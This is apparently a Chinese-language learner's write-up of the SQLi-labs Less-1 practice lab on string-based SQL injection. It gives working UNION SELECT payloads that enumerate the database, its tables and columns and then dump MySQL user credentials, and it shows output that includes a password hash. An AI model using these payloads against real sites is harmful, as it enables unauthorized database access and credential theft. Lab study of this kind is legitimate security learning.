1. 程式人生 > 其它 >less-1的詳細題解

less-1的詳細題解

Less-1 Error Based - String

payload:?id=1

回顯顯示正常

payload:?id=1+1

payload:?id=1-1

回顯和id=1一致 說明+1沒有被執行

則id的欄位型別不是數字型

瞭解到這一點後 我查詢了字元型的sql注入

測試注入語句是:

xx' and '1'=1--' 
xx' and '1=2--'

然後我測試了兩個payload

?id=1'and '1'=1--'

?id=1'and '1=2--'

第二個payload回顯錯誤

You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near ''1=2--'' LIMIT 0,1' at  line 1

則說明確實為字元型注入

注意:near '' 1 ’ LIMIT 0,1 ' at line 1 這一塊說明了什麼!

分析一下 --+註釋就是

下一個步驟為猜欄位數

方式為聯合查詢

1到12 到123

123時回顯正常 則說明有三列

payload:?id=1' union select 1,2,3%23

然後指定id=0來判斷回顯的內容 和第幾列對應

payload:?id=0' union select 1,2,3%23

name對應2,password對應3,所以我們在構造payload的時候只需要替換2即可(不太理解)

下一步爆資料庫名

payload:?id=0' UNION SELECT 1,database(),3%23

引入database()函式

DATABASE()函式

MySQL中的DATABASE()函式返回預設或當前資料庫的名稱。
DATABASE()函式返回的字串或名稱使用utf8字符集。
如果沒有預設資料庫,則Database函式返回NULL。

所以可以得出資料庫的名字 security

下一步爆表名

payload:?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables),3%23

引入GROUP_CONCAT(table_name)函式

解釋為:TABLE_SCHEMA表示表所屬的資料庫名稱;

TABLE_NAME表示表的名稱

引入information_schema.tables

解釋為:mysql中的information_schema 結構用來儲存資料庫系統資訊

這句的意思即為得到當前庫的所有表名

似乎沒什麼用 得到了一大堆表名

下一個payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'),3%23

得到當前庫的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

上一步dabase()已經爆出資料庫名為security 也就是替換即可

security庫的表名有 emails,referers,uagents,users

構造payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='mysql'),3%23

現在爆的是mysql庫的表名

得出一大堆

下一步爆欄位名

payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23

樣式是不變的 前面改為COLUMN_NAME表示查詢的是欄位名

後面多加個table_name表示表名是什麼 方便查詢欄位名

此處查的是mysql庫裡的user表

然後又查出來一堆Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin

注意:因為sql查詢的欄位數是有限制的 所以要利用substr函式逐步獲取全部欄位名

?id=0' UNION SELECT 1,(SELECT substr(GROUP_CONCAT(COLUMN_NAME),1,200) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23

然後把1,200改成 200,400然後再改成400,200

(疑問是為什麼要用這樣的數字,猜測可能最大限制是200)

然後就得出了完整的欄位名mysql->user->

Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Triger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string

下一步構造root許可權


payload:

?id=0' UNION SELECT 1,(SELECT count(*) from mysql.user),3%23

沒看翻譯基本可以看懂了 聯合查詢 name替換為了

SELECT count(*) from mysql.user

後面的意思也很簡單 mysql庫的user表

count(*) 函式就是返回user表的行數

我返回了一個5 但wp上說的是四行 留觀

構造payload:

?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(CONCAT(Host,'-',User,'-',Password,'-',authentication_string)) from mysql.user),3%23

引入concat函式 連結字串就是

concat()函式

\1. 含義:

將多個字串連線成一個字串。

\2. 演示:

select concat (id, name) as info from t1;

那麼payload的含義就很明顯了 連線Host User等等表的字串 中間用“-“符號隔開

回顯結果是:

localhost-root--,3b9929c797f1-root--,127.0.0.1-root--,::1-root--,%-mituan-31ec5cdb55adb176-

flag :3b9929c797f1

說明不允許遠端登入,如果MySQL允許root遠端登入的話會出現一行新的資料host內部為%,如下所示 %-root-xxxx-xxxxx

不太理解 遠端登入